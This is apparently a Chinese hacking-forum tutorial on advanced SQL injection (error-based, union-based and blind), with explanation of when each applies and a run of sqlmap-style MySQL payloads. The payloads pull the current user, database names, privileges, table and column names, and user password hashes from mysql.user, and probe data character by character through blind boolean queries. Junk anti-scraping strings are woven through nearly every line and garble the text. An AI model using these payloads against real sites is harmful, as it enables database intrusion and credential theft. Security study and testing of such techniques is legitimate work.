放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
, j) h% B" U) n" t 4 s3 m) m. a% {$ ~, S2 c
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表; z3 m! a& W& {. d9 [4 P5 p k
1 X, i2 `6 M2 p5 e分类标准 分类 备注7 r! l+ U) Z" m8 q9 x
按字段类型 整型注入,字符型注入
* h! p* {' a7 S9 }- \按出现的位置 get注入,post注入,cookie注入,http header注入 / E9 U7 t. G; ?' }9 d! n
然而高级注入是这样的
- P5 a# {6 G z3 N2 k$ ~& H" E h
7 g$ M* Q' u9 j高级注入分类 条件
3 y( e- u# u( [2 rerror-based sql 数据库的错误回显可以返回,存在数据库,表结构
8 W9 z8 D7 k* ~" Q* Munion-based sql 能够使用union,存在数据库,表结构# D% A) f8 ?, g" {% G7 Q' Y
blind sql 存在注入9 H- B! ^1 X! ?* D6 Q4 q
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。3 w u" t: u' ?6 E) ?5 k- A5 E2 w
9 a* k. Y! J% ]- B& d好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火( r2 p3 ?' l5 u
( L, c( u; I8 z* t* ~附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
# x* l# I1 K6 B9 @& b 3 k/ D; g$ N1 V; `1 g
这里用mysql说明9 R$ f0 o3 M( t
7 `* N( ?* ~5 v4 Ie注入坛子里很多了,请看戳我或者再戳我+ t6 k) \7 o; j4 t9 d8 x
4 `" F% m. a+ f' [u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的& h. K5 W* f! k0 V( n
5 @& o. O* m; w) L获取当前数据库用户名- X: p7 F- q+ I. F* }2 ~" M6 J3 |( f
# ^% C2 t) @: a$ {/ p' ~5 C
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
4 h- E; O/ R/ @* jAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL8 r! d- L, M$ d9 F2 M
L, NULL#
% o' N; C+ E/ a注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。" y: s& x, L% p
1 X( s6 e5 k- Y, T3 O获取数据库名
/ n# L; I) B# \% K: O , c( u2 ?0 _# x8 _: q
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#8 w8 g5 \+ H/ S% S5 V, \
获取所有用户名2 V4 z/ Y3 j( w6 A, Y9 Z# }+ ]9 ^
) B! C1 K# j: \
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#* E) {4 @: n/ X& E8 c$ M! t5 c
查看当前用户权限
9 V9 n, x3 J2 X. K
5 t, `+ L$ o2 jUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
# A5 \" o& M6 T! Z5 i; X5 ?: ~6 D6 _8 A2 f尝试获取密码,当然需要有能读mysql数据库的权限
- v$ n0 L+ `) p( I' F1 s8 q
9 a/ Y: {* J9 [- [UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
% }: L, a* r4 o) |8 r; J/ n获取表名,limit什么的自己搞啦; c) O; E+ Y0 V4 n
' \& m& Y k6 G
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
( x( w2 _# P; X获取字段名及其类型& D0 G L1 B6 h' x3 y
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
+ t; T$ Z! D- Z$ o$ s& t ! D4 }% w! r" o' ?
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
) s+ g9 _( N' f 1 k, e7 _' u1 W( ?3 k- I
如:6 X/ Q$ W6 @; m2 X
获取当前用户名4 k9 O7 f9 l/ N" s$ q
7 m% I% a9 r8 \0 O, \AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 1164 B7 G5 S; R) w1 ]0 ^
获取当前数据库, c9 a% L# M$ k
! z3 }, ~$ y2 {9 y/ Z/ v) M
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 1062 d1 B3 R. B7 @7 D% |( b* b5 F
获取表名
- j: s2 h. V0 O' P
1 V5 U/ V2 `. @AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51. K- k6 M, s/ N; h
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
' I7 W: I1 }; C! B0 ?& ?回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
: c4 Q" N7 b: m- f+ p9 \5 s6 X) r爆表
2 Y5 y; a( u+ p
' G/ O! B% Z) cAND EXISTS(select * from table)4 k3 q: J, d( i: G' }3 M
爆字段+ J$ m( ?. v% K. N) J5 r( r9 t
5 `7 e6 K D/ N9 z* g5 FAND EXISTS(select pwd from table)! N! r+ i3 O" @9 ~2 M
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
) f* i5 @, }3 k, q' ]
- L& h7 n6 u1 l- K本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
! H) b6 T3 b$ V& F- P- G6 n |